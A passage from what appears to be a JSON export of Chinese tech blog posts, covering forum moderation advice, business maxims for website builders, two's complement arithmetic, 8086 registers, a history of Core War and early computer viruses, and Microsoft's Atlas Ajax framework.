dquo;还落寞失望。\n作为一个好的版主一定要控制住展示自己主题写作能力的欲望，版主不是不能发主题帖子，而是要适度，不能发得太多，要把重点放在对会员帖子上的回复上来。\n版主虽然不是什么行政干部，但是他（她）引导着自己所管理板块的发帖风格，在某些论坛的有些版主很习惯于带头发主题，会员们为了使自己不被淹没，也都跟着大量发主题而不愿回复。这就形成了版块上马拉松式的发帖风格，大家都只管发帖互不理睬，有些帖子根本就没人翻看过。时间长了会员们就会失去热情，论坛也就冷落了下来。\n所以，作为一个版主要做好的最基本的工作，是回复每一位会员新发的帖子。引导自己的版块形成互动交流的风格。\n当然，搞好一个论坛、版块认真回复每一位会员的帖子只是最基本的要求。\n一个论坛要体现它独到的魅力，成为网上的一个优秀论坛还有许多的工作要做。\n","permalink":"https://hessian.cn/p/345.html","summary":"一个论坛、一个版块能留住会员的因素是多方面的，但是其中很重要的一点就是对版块的经营观念，有一些版主认为要想留住会员必需得发一些有吸引力的帖子才行。所以有些版主在论坛兴建的初期拼命写作，绞尽脑汁要码出一些好文章来，或者是到别的网站、论坛寻找一些精彩的帖子转帖过来，事实证明这样做版块上文章帖了一大堆人气的提升效果并不明显，这到底是为什么呢？\n会员来到论坛的目的无非有三：\n1、发表自己对生活、对社会、对工作的一些看法，渴望和别人交流。\n2、倾诉自己情感的得失、发泄现实生活中的愤懑、表达自己在生活中的感受。\n3、展示自己的能力、寻找知音和共鸣、体验在虚拟世界中成功的快感。\n从上面三点上来看会员们来论坛不是被动的欣赏，而是要主动的交流和互动。\n说白了，版主要确立的经营观念不是你来欣赏我，而是我要欣赏你。\n如果会员要欣赏好文章就无需来论坛了，各大网站、著名的网上书屋、文学专题网站上的热点新闻、好帖子、经典名著多如牛毛。论坛上文章的精彩程度无论如何都不能与之相比。\n论坛上最主要的功能、最有魅力之处是交流互动，在论坛兴建的初期版主贴出几篇象样的文章来吸引会员是对的，但是当已经有会员注册时注意力应该转到对会员帖子的回复上来，在论坛上任何一个发帖子的人都渴望别人对自己所发帖子的关注，不论是赞美、批评或是讨论都能吸引会员再次回过头来。（当然版主不要对会员高高在上的指指点点，这样会令会员反感。）\n发帖子的人最郁闷的是自己发出的帖子没人理会，因为任何一个人所发出的主题帖子（跟帖灌水除外）都是经过一番考虑的，有些主题帖子耗费了作者大量的心血和时间。有句话说得好：对别人最大的藐视就是不屑。自己发出的帖子没人理睬比埃了几\u0026ldquo;砖头\u0026rdquo;还落寞失望。\n作为一个好的版主一定要控制住展示自己主题写作能力的欲望，版主不是不能发主题帖子，而是要适度，不能发得太多，要把重点放在对会员帖子上的回复上来。\n版主虽然不是什么行政干部，但是他（她）引导着自己所管理板块的发帖风格，在某些论坛的有些版主很习惯于带头发主题，会员们为了使自己不被淹没，也都跟着大量发主题而不愿回复。这就形成了版块上马拉松式的发帖风格，大家都只管发帖互不理睬，有些帖子根本就没人翻看过。时间长了会员们就会失去热情，论坛也就冷落了下来。\n所以，作为一个版主要做好的最基本的工作，是回复每一位会员新发的帖子。引导自己的版块形成互动交流的风格。\n当然，搞好一个论坛、版块认真回复每一位会员的帖子只是最基本的要求。\n一个论坛要体现它独到的魅力，成为网上的一个优秀论坛还有许多的工作要做。\n","title":"一个论坛 靠什么留住人"},{"content":"1.250定律\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 拉德认为：每一位顾客身后，大体有250名亲朋好友。如果您赢得了一位顾客的好感，就意味着赢得了250个人的好感；反之，如果你得罪了一名顾客，也就意 味着得罪了250 名顾客。在你的网站访客中，一个访客可能可以带来一群访客，任何网站都有起步和发展的过程，这个过程中此定律尤其重要。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2.达维多定律\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 达维多认为，一个企业要想在市场上总是占据主导地位，那么就要做到第一个开发出新产品，又第一个淘汰自己的老产品。国内网站跟风太严重，比如前段时间的格 子网，乞讨网，博客网，一个成功了，大家一拥而上。但实际效果是，第一个出名的往往最成功，所以在网站的定位上，要动自己的脑筋，不是去捡人家剩下的客 户。同理，买人家出售的数据来建站效果是很糟糕的。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3.木桶定律\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 水桶定律是指，一只水桶能装多少水，完全取决于它最短的那块木板。这就是说任何一个组织都可能面临的一个共同问题，即构成组织的各个部分往往决定了整个组 织的水平。注意审视自己的网站，是速度最糟糕？美工最糟糕？宣传最糟糕？你首先要做的，不是改进你最强的，而应该是你最薄弱的。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 4.马太效应\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 《新约》中有这样一个故事，一个国王远行前，交给三个仆人每人一锭银子，吩咐他们：\u0026ldquo;你们去做生意，等我回来时，再来见我。\u0026rdquo;国王回来时，第一个仆人说： \u0026ldquo;主人，你交给我们的一锭银子，我已赚了10锭。\u0026rdquo;于是国王奖励他10座城邑。第二个仆人报告说：\u0026ldquo;主人，你给我的一锭银子，我已赚了5锭。\u0026rdquo; 于是国王例奖励了他5座城邑。第三个仆人报告说：\u0026ldquo;主人，你给我的一锭银子，我一直包在手巾里存着，我怕丢失，一直没有拿出来。\u0026rdquo;于是国王命令将第三个仆 人的一锭银子也赏给第一个仆人，并且说：\u0026ldquo;凡是少的，就连他所有的也要夺过来。凡是多的，还要给他，叫他多多益善。\u0026rdquo;这就是马太效应。在同类网站中，马太 效应是很明显的。一个出名的社区，比一个新建的社区，更容易吸引到新客户。启示是，如果你无法把网站做大，那么你要做专。作专之后再做大就更容易。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 5.手表定理\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 手表定理是指一个人有一只表时，可以知道现在是几点钟，而当他同时拥有两只表时却无法确定。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 一个网站，你只需要关注你特定的用户群需求。不要在意不相干人的看法。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 6.不值得定律\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 不值得定律：不值得做的事情，就不值得做好不要过度seo，如果你不是想只做垃圾站。不要把时间浪费在美化再美化页面，优化再优化程序，在你网站能盈利后，这些事情可以交给技术人员完成。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 7.彼得原理\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 劳伦斯.彼得认为：在各种组织中，由于习惯于对在某个等级上称职的人员进行晋升提拔，因而雇员总是趋向于晋升到其不称职的地位。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 不要轻易改变自己网站的定位。如博客网想变门户，盛大想做娱乐，大家拭目以待吧。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 8.零和游戏原理\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 当你看到两位对弈者时，你就可以说他们正在玩\u0026ldquo;零和游戏\u0026rdquo;。因为在大多数情况下，总会有一个赢，一个输，如果我们把获胜计算为得1分，而输棋为-1分，那 么，这两人得分之和就是：1+（-1）=0 不要把目光一直盯在你的竞争网站上，不要花太多时间抢它的访客。我们把这些时间用来寻找互补的合作网站，挖掘新访客。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 9.华盛顿合作规律\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 华盛顿合作规律说的是：一个人敷衍了事，两个人互相推诿， 三个人则永无成事之日。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如果你看准一个方向，你自己干，缺人手就招。不要轻易找同伴一起搞网站，否则你会发现，日子似乎越过越快了，事情越做越慢了。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 10.邦尼人力定律\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 一个人一分钟可以挖一个洞，六十个人一秒种却挖不了一个洞。合作是一个问题，如何合作也是一个问题。你需要有计划。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 11.牛蛙效应\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 把一只牛蛙放在开水锅里，牛蛙会很快跳出来；但当你把它放在冷水里，它不会跳出来，然后慢慢加热，起初牛蛙出于懒惰，不会有什么动作，当水温高到它无法忍 受的时候，想出来，但已经没有了力气。如果你是soho，注意关注你的财务。不要等到没钱了再想怎么挣，你会发现那时候挣钱更难。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 12.蘑菇管理\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 蘑菇管理是许多组织对待初出茅庐者的一种管理方法，初学者被置于阴暗的角落（不受重视的部门，或打杂跑腿的工作），浇上一头大粪（无端的批评、指责、代人受过），任其自生自灭（得不到必要的指导和提携）。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 做网站毕竟要遭遇这样的阶段，搜索引擎不理你，友情链接找不到，访客不上门。这是磨练。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 13.奥卡姆剃刀定律\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如无必要，勿增实体。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 把网站做得简单，再简单，简单到非常实用，而不是花俏。google的首页为什么比雅虎好？\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 14.巴莱多定律(Paredo 也叫二八定律)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 你所完成的工作里80%的成果，来自于你20%的付出；而80%的付出，只换来20%的成果。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 随时衡量你所做的工作，哪些是最有效果的。 \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 1.马蝇效应\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 林肯少年时和他的兄弟在肯塔基老家的一个农场里犁玉米地，林肯吆马，他兄弟扶犁，而那匹马很懒，慢慢腾腾，走走停停。可是有一段时间马走得飞快。林肯感到 奇怪，到了地头，他发现有一只很大的马蝇叮在马身上，他就把马蝇打落了。看到马蝇被打落了，他兄弟就抱怨说：\u0026rdquo;哎呀，你为什么要打掉它，正是那家伙使马跑 起来的嘛！\u0026rdquo; 在你心满意足的时候，去寻找你的马蝇。没有firefox，不会有ie7，firefox就是微软的马蝇之一。马蝇不可怕，怕的是会一口吃掉你的东西，像 ie当初对网景干的那样。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 2.最高气温效应\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 每天最热总是下午2 时左右，我们总认为这个时候太阳最厉害，其实这时的太阳早已偏西，不再是供给最大热量的时候了。此时气温之所以最高，不过是源于此前的热量积累。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 你今天的网站流量，是你一个星期或更长时间前所做的事带来的。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 3.超限效应(溢出效应)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 刺激过多、过强和作用时间过久而引起心理极不耐烦或反抗的心理现象，称之为\u0026ldquo;超限效应\u0026rdquo;。别到别人论坛里发太多广告。别在自己网站上放太多广告。别在自己的论坛里太多地太明显地诱导话题。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 4.懒蚂蚁效应\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 生物学家研究发现，成群的蚂蚁中，大部分蚂蚁很勤劳，寻找、搬运食物争先恐后，少数蚂蚁却东张西望不干活。当食物来源断绝或蚁窝被破坏时，那些勤快的蚂蚁 一筹莫展。\u0026ldquo;懒蚂蚁\u0026rdquo;则\u0026ldquo;挺身而出\u0026rdquo;，带领众伙伴向它早已侦察到的新的食物源转移。不要把注意力仅仅放在一个网站上，即使这个网站现在为你带来一切。你要 给自己一些时间寻找新的可行的方向，以备万一。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 5.长尾理论\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; ChrisAnderson认为，只要存储和流通的渠道足够大，需求不旺或销量不佳的产品共同占据的市场份额就可以和那些数量不多的热卖品所占据的市场份 额相匹敌甚至更大。对于搜索引擎，未必你需要一个热门词排在第一位，如果有一千个冷门词排在第一位，效果不但一样，还会更稳定更长远。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 6.破窗理论\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 栋建筑上的一块玻璃，又没有及时修好，别人就可能受到某些暗示性的纵容，去打碎更多的玻璃。管理论坛时，如果你发现第一个垃圾贴，赶紧删掉他吧。想想：落伍现在为什么那么多\u0026times;\u0026times;贴？现在控制比最初控制难多了。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 7.\u0026ldquo;羊群效应\u0026rdquo;，又称复制原则(Copy Strategy)\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 一个羊群(集体)是一个很散乱的组织，平时大家在一起盲目地左冲右撞。如果一头羊发现了一片肥沃的绿草地，并在那里吃到了新鲜的青草，后来的羊群就会一哄而上，争抢那里的青草，全然不顾旁边虎视眈眈的狼，或者看不到其它地方还有更好的青草。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 不要轻易跟风，保持自己思考的能力。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 8.墨菲定律\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如果坏事情有可能发生，不管这种可能性多么小，它总会发生，并引起最大可能的损失。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 除非垃圾站，否则不要作弊，对搜索引擎不要，对广告也不要。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 9.光环效应\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 人们对人的某种品质或特点有清晰的知觉，印象比较深刻、突出，这种强烈的知觉，就像月晕形式的光环一样，向周围弥漫、扩散，掩盖了对这个人的其他品质或特点的认识。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 不要轻易崇拜一个人或者公司、一个概念、一种做法。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 10.蝴蝶效应\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 一只亚马逊河流域热带雨林中的蝴蝶，偶尔扇动几下翅膀，两周后，可能在美国德克萨斯州引起一场龙卷风。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 不管你做什么，网站或者其他，你都应该关注新闻。机遇或者灾难可能就在那。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 11.阿尔巴德定理\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 一个企业经营成功与否，全靠对顾客的要求了解到什么程度。我赞同别人的点评：看到了别人的需要，你就成功了一半；满足了别人的需求，你就成功了全部。尤其是做网站。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 12.史密斯原则\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 如果你不能战胜他们，你就加入到他们之中去。\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 不要试图做孤胆英雄。如果潮流挡不住，至少，你要去思考为什么。\n转自：比尔盖茨稀饭 ","permalink":"https://hessian.cn/p/453.html","summary":"1.250定律\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; 拉德认为：每一位顾客身后，大体有250名亲朋好友。如果您赢得了一位顾客的好感，就意味着赢得了250个人的好感；反之，如果你得罪了一名顾客，也就意 味着得罪了250 名顾客。在你的网站访客中，一个访客可能可以带来一群访客，任何网站都有起步和发展的过程，这个过程中此定律尤其重要。\n","title":"建站思想？"},{"content":"用[ｘ]表示机器数（原码），ｘ是真值（二进制）\n\u0026nbsp;\u0026nbsp; ｘ＝+0.1001,则[ｘ]原＝0.1001\nｘ＝-0.1001,则[ｘ]原＝1.1001\n对于0，原码中有\u0026ldquo;+0\u0026rdquo;、\u0026ldquo;-0\u0026rdquo;之分，故有两种形式：\n[+0]原=0.000\u0026#8230;0\n[-0]原=1.000\u0026#8230;0\n采用原码表示法简单易懂，但它的最大缺点是加法运算复杂。这是因为，当两数相加时，如果是同号则数值相加；如果是异号，则要进行减法。而在进行减法时还要比较绝对值的大小，然后大数减去小数，最后还要给结果选择符号。\n为了解决这些矛盾，人们找到了补码表示法。机器数的补码可由原码得到。如果机器数是正数，则该机器数的补码与原码一样；如果机器数是负数，则该机器数的补码是对它的原码（除符号位外）各位取反，并在未位加1而得到的。\n负数用补码表示时，可以把减法转化为加法。这样，在计算机中实现起来就比较方便\n[ｘ]补＝ {\u0026nbsp;\u0026nbsp; ｘ　1＞ｘ\u0026ge;0 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; {\u0026nbsp;\u0026nbsp; 2＋ｘ＝2－|ｘ|　0\u0026ge;ｘ\u0026ge;－1\n\u0026nbsp;\u0026nbsp; ｘ＝+0.1011,则[ｘ]补＝0.1011\nｘ＝-0.1011,则[ｘ]补＝10+ｘ＝10.0000-0.1011＝1.0101\n对于0，[＋0]补＝[－0]补＝0.0000 \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; \u0026nbsp;\u0026nbsp; (mod 2)\n例子中是以定点小数为例。\n补码的原理可以用钟表来描述\n如设标准时间为4点正；一只表已经7点了，为了校准时间，可以采用两种方法：一是将时针退 7-4=3 格；一是将时针向前拨12-3=9格。即7-3和7+9(mod12)等价，因此，把负数用补码表示的mod2操作，可以把减法转化为加法。\n","permalink":"https://hessian.cn/p/449.html","summary":"用[ｘ]表示机器数（原码），ｘ是真值（二进制）\n\u0026nbsp;\u0026nbsp; ｘ＝+0.1001,则[ｘ]原＝0.1001\nｘ＝-0.1001,则[ｘ]原＝1.1001\n","title":"补码是什么？"},{"content":"寄存器是中央处理器内的其中组成部份。寄存器是有限存贮容量的高速存贮部件，它们可用来暂存指令、数据和位址。在中央处理器的控制部件中，包含的寄存器有指令寄存器(IR)和程序计数器(PC)。在中央处理器的算术及逻辑部件中，包含的寄存器有累加器(ACC)。\n寄存器（Register）\n寄存器是内存阶层 中的最顶端，也是系统操作资料的最快速途径。寄存器通常都是以他们可以保存的 位元 数量来估量，举例来说，一个 \u0026quot;8 位元寄存器\u0026quot; 或 \u0026quot;32 位元 寄存器\u0026quot;。寄存器现在都以寄存器档案 的方式来实作，但是他们也可能使用单独的正反器、高速的核心内存、薄膜内存 以及在数种机器上的其他方式来实作出来。 寄存器通常都用来意指由一个指令之输出或输入可以直接索引到的暂存器群组。更适当的是称他们为 \u0026quot;架构寄存器\u0026quot;。 例如，x86 指令及定义八个 32 位元寄存器的集合，但一个实作 x86 指令集的 CPU 可以包含比八个更多的寄存器。\n寄存器是CPU内部的元件，寄存器拥有非常高的读写速度，所以在寄存器之间的数据传送非常快。\n寄存器的用途：\n1.可将寄存器内的数据执行算术及逻辑运算。\n2.存于寄存器内的地址可用来指向内存的某个位置，即寻址。\n3.可以用来读写数据到电脑的周边设备。\n8086 有8个8位数据寄存器，\n这些8位寄存器可分别组成16位寄存器：\nAH\u0026amp;AL＝AX：累加寄存器，常用于运算；\nBH\u0026amp;BL＝BX：基址寄存器，常用于地址索引；\nCH\u0026amp;CL＝CX：计数寄存器，常用于计数；\nDH\u0026amp;DL＝DX：数据寄存器，常用于数据传递。\n为了运用所有的内存空间，8086设定了四个段寄存器，专门用来保存段地址：\nCS（Code Segment）：代码段寄存器；\nDS（Data Segment）：数据段寄存器；\nSS（Stack Segment）：堆栈段寄存器；\nES（Extra Segment）：附加段寄存器。\n当一个程序要执行时，就要决定程序代码、数据和堆栈各要用到内存的哪些位置，通过设定段寄存器 CS，DS，SS 来指向这些起始位置。通常是将DS固定，而根据需要修改CS。所以，程序可以在可寻址空间小于64K的情况下被写成任意大小。 所以，程序和其数据组合起来的大小，限制在DS 所指的64K内，这就是COM文件不得大于64K的原因。8086以内存做为战场，用寄存器做为军事基地，以加速工作。\n除了前面所提的寄存器外，还有一些特殊功能的寄存器：\nIP（Intruction Pointer）：指令指针寄存器，与CS配合使用，可跟踪程序的执行过程；\nSP（Stack Pointer）：堆栈指针，与SS配合使用，可指向目前的堆栈位置。\nBP（Base Pointer）：基址指针寄存器，可用作SS的一个相对基址位置；\nSI（Source Index）：源变址寄存器可用来存放相对于DS段之源变址指针；\nDI（Destination Index）：目的变址寄存器，可用来存放相对于 ES 段之目的变址指针。\n还有一个标志寄存器FR（Flag Register）,有九个有意义的标志(\nOF: 溢出标志位OF用于反映有符号数加减运算所得结果是否溢出。如果运算结果超过当前运算位数所能表示的范围，则称为溢出，OF的值被置为1，否则，OF的值被清为0. DF: 方向标志DF位用来决定在串操作指令执行时有关指针寄存器发生调整的方向。 IF: 中断允许标志IF位用来决定CPU是否响应CPU外部的可屏蔽中断发出的中断请求。但不管该标志为何值，CPU都必须响应CPU外部的不可屏蔽中断所发出的中断请求，以及CPU内部产生的中断请求。具体规定如下： (1)、当IF=1时，CPU可以响应CPU外部的可屏蔽中断发出的中断请求； (2)、当IF=0时，CPU不响应CPU外部的可屏蔽中断发出的中断请求。 TF: 状态控制标志位是用来控制CPU操作的，它们要通过专门的指令才能使之发生改变 SF: 符号标志SF用来反映运算结果的符号位，它与运算结果的最高位相同。在微机系统中，有符号数采用补码表示法，所以，SF也就反映运算结果的正负号。运算结果为正数时，SF的值为0，否则其值为1。 ZF: 零标志ZF用来反映运算结果是否为0。如果运算结果为0，则其值为1，否则其值为0。在判断运算结果是否为0时，可使用此标志位。 AF: 下列情况下，辅助进位标志AF的值被置为1，否则其值为0： (1)、在字操作时，发生低字节向高字节进位或借位时； (2)、在字节操作时，发生低4位向高4位进位或借位时。 PF: 奇偶标志PF用于反映运算结果中\u0026ldquo;1\u0026rdquo;的个数的奇偶性。如果\u0026ldquo;1\u0026rdquo;的个数为偶数，则PF的值为1，否则其值为0。 CF: 进位标志CF主要用来反映运算是否产生进位或借位。如果运算结果的最高位产生了一个进位或借位，那么，其值为1，否则其值为0。) 以上是8086寄存器的整体概况, 自80386开始，PC进入 32bit时代，其寻址方式，寄存器大小, 功能等都发生了变化, 要想学习这方面知识请参考相应资料.\n","permalink":"https://hessian.cn/p/654.html","summary":"寄存器是中央处理器内的其中组成部份。寄存器是有限存贮容量的高速存贮部件，它们可用来暂存指令、数据和位址。在中央处理器的控制部件中，包含的寄存器有指令寄存器(IR)和程序计数器(PC)。在中央处理器的算术及逻辑部件中，包含的寄存器有累加器(ACC)。\n寄存器（Register）\n","title":"计算机寄存器"},{"content":"\n大约在1959年，磁芯大战在贝尔实验室中诞生。它是三个年轻人在工余时的产物。他们是麦耀莱、维索斯基以及莫里斯。其中莫里斯就是后来制造了\u0026ldquo;莫里斯蠕虫\u0026rdquo;的罗特\u0026middot;莫里斯的父亲。当时三人年纪都只有二十多岁。 磁芯大战的玩法是游戏双方各写一套程序，输入同一部电脑中，这两套程序在电脑的存储系统内互相追杀。因为它们都在电脑的存储磁芯中运行，因此得到了磁芯大 战之名。这个游戏的特点在于双方的程序进入电脑之后，玩游戏的人只能看着屏幕上显示的战况，而不能做任何更改，一直到某一方的程序被另一方的程序完全\u0026ldquo;吃 掉\u0026rdquo;为止，所以磁芯大战只能算是程序员们的一个玩具。由于用于游戏的程序具有很强的破坏性，因此长久以来，懂得玩\u0026ldquo;磁芯大战\u0026rdquo;的人都严守一项不成文的规 定：不对大众公开这些程序的内容。然而1983年，这项规定被打破了。科恩\u0026middot;汤普逊在当年一项杰出电脑奖得奖人颁奖典礼上，作了一个演讲，不但公开证实了 电脑病毒的存在，而且还告诉所有听众怎样去写自己的病毒程序。他的同行全都吓坏了，然而这个秘密已经流传出去了。1984年，情况更复杂了。这一年，《科 学美国人》月刊的专栏作家在5月刊写了第一篇讨论磁芯大战的文章，并且只要寄上两美元，任何读者都可以收到有关如何编写程序的提纲，在自己家的电脑中开辟 战场。就这样，潘多拉之盒被打开了，许多程序员都了解了病毒的原理，进而开始尝试编制这种具有隐蔽性、攻击性和传染性的特殊程序。到了今天，电脑病毒已经 成为了电脑世界最大的瘟疫。磁芯大战的作者们万万不会想到：它们的玩具竟然会给世界带来如此大的麻烦\n","permalink":"https://hessian.cn/p/335.html","summary":"\n大约在1959年，磁芯大战在贝尔实验室中诞生。它是三个年轻人在工余时的产物。他们是麦耀莱、维索斯基以及莫里斯。其中莫里斯就是后来制造了\u0026ldquo;莫里斯蠕虫\u0026rdquo;的罗特\u0026middot;莫里斯的父亲。当时三人年纪都只有二十多岁。 磁芯大战的玩法是游戏双方各写一套程序，输入同一部电脑中，这两套程序在电脑的存储系统内互相追杀。因为它们都在电脑的存储磁芯中运行，因此得到了磁芯大 战之名。这个游戏的特点在于双方的程序进入电脑之后，玩游戏的人只能看着屏幕上显示的战况，而不能做任何更改，一直到某一方的程序被另一方的程序完全\u0026ldquo;吃 掉\u0026rdquo;为止，所以磁芯大战只能算是程序员们的一个玩具。由于用于游戏的程序具有很强的破坏性，因此长久以来，懂得玩\u0026ldquo;磁芯大战\u0026rdquo;的人都严守一项不成文的规 定：不对大众公开这些程序的内容。然而1983年，这项规定被打破了。科恩\u0026middot;汤普逊在当年一项杰出电脑奖得奖人颁奖典礼上，作了一个演讲，不但公开证实了 电脑病毒的存在，而且还告诉所有听众怎样去写自己的病毒程序。他的同行全都吓坏了，然而这个秘密已经流传出去了。1984年，情况更复杂了。这一年，《科 学美国人》月刊的专栏作家在5月刊写了第一篇讨论磁芯大战的文章，并且只要寄上两美元，任何读者都可以收到有关如何编写程序的提纲，在自己家的电脑中开辟 战场。就这样，潘多拉之盒被打开了，许多程序员都了解了病毒的原理，进而开始尝试编制这种具有隐蔽性、攻击性和传染性的特殊程序。到了今天，电脑病毒已经 成为了电脑世界最大的瘟疫。磁芯大战的作者们万万不会想到：它们的玩具竟然会给世界带来如此大的麻烦\n","title":"磁芯大战 — 计算机病毒起源？"},{"content":"阿特拉斯，希腊神话中的巨神，以肩膀扛顶着天。后代，也引伸有能担负重责大任的人，有人也因之称他为宇宙神。 VeriSign通过它的一个崭新的技术平台\u0026#8212;高级交易查询信令系统(ATLAS)来提供服务,ATLAS是一个综合性的处理平台，其设计宗旨是扩展 其Internet的核心基础设施、域名系统(DNS)，支持迅速发展中的通过Internet提供的语音、数据和多媒体服务。通过Solaris 10 OS和Sun Fire x64服务器的采用，ATLAS每天管理着数以百亿计的处理业务，且提供高于99.999％的数据完整性和服务，阻止如\u0026ldquo;拒绝服务\u0026rdquo;等来自 Internet的恶意攻击。\nATLAS 是欧洲核子中心(cern)大型强子对撞机(LHC)上的四个大型探测器之一.\n微软目前目前对于通过Ajax风格的编程在浏览器中实现日益流行的富客户端应用比较感兴趣。今后的IE中将拥有Ajax的所有东西\u0026mdash;\u0026mdash;DHTML、JScript和XmlHttp。实际上Outlook Web Acces从1998年开始就已经提供了这种伟大的浏览体验了。在ASP.NET 2.0中，微软使用异步回调及舒适的Ajax风格的应用程序的编写更加简单，并且，微软为此提供了内建的控件。 最近，几乎所有的浏览器都提供了Ajax所需的技术，使用这种模式的富客户端应用程序也不断出现。今天，世界上出现了不计其数的Ajax风格的站点，包括 Google的很多站点、A9和Flickr。微软的很多站点也使用了这项技术，如Start.com和MSN虚拟地球。\nAjax的风行说明用户对于丰富的Web体验的需求日益增长。然而，开发和调试Ajax风格的Web应用程序是一项非常艰难的工作。要编写一个丰富的 Web UI，开发者需要详细地掌握DHTML和JavaScript，并且还要掌握各种浏览器之间在设计细节上的不同。然而没有那些工具能够简化这些应用程序的 设计和开发。最后，调试和测试这些应用程序会变得异常困难。\n微软致力于简化Ajax风格Web应用的开发，并提供丰富的、可交互的和个性化的用户体验。开发者可以对客户端脚本不甚了解;但他们可以很容易地开发和调试这种应用程序。\n出于这一目的，微软启动了一个新的项目，研发代号\u0026ldquo;Atlas\u0026rdquo;。Atlas为开发这带来了如下特性：\nAtlas客户端脚本框架 Atlas的ASP.NET服务器控件 ASP.NET Web Services集成 Atlas的ASP.NET构建块 客户端构建块服务\n你可能会问的一个问题是，Atlas如何在Avalon和智能客户端上使用?\n我们可以看到，Atlas是编写丰富的、可交互的和个性化的Web浏览器应用程序的最好方式。而Avalon是微软的下一代表现层模型，可以在 Windows平台上提供最丰富的用户体验。Avalon将使用最新的媒体集成功能和硬件加速设备，提供卓越的视觉体验。Avalon将带来超越浏览器的 体验。\n当然，当你构建Avalon应用程序的时候，你依然可以重用ASP.NET和Atlas中的编程模型。例如，Avalon客户端上依然可以使用ASP.NET构建块服务和客户端构建块服务。这种模型可以使你平滑地过渡到下一代应用程序上。\nAtlas:客户端脚本框架\nAtlas客户端脚本框架是可扩展的，100%面向对象的JavaScript客户端脚本框架，允许开发这很容易地构建拥有丰富的UI工能并且可以连接 Web Services的Ajax风格浏览器应用程序。使用Atlas，开发者可以使用DHTML、JavaScript和XMLHTTP来编写Web应用程 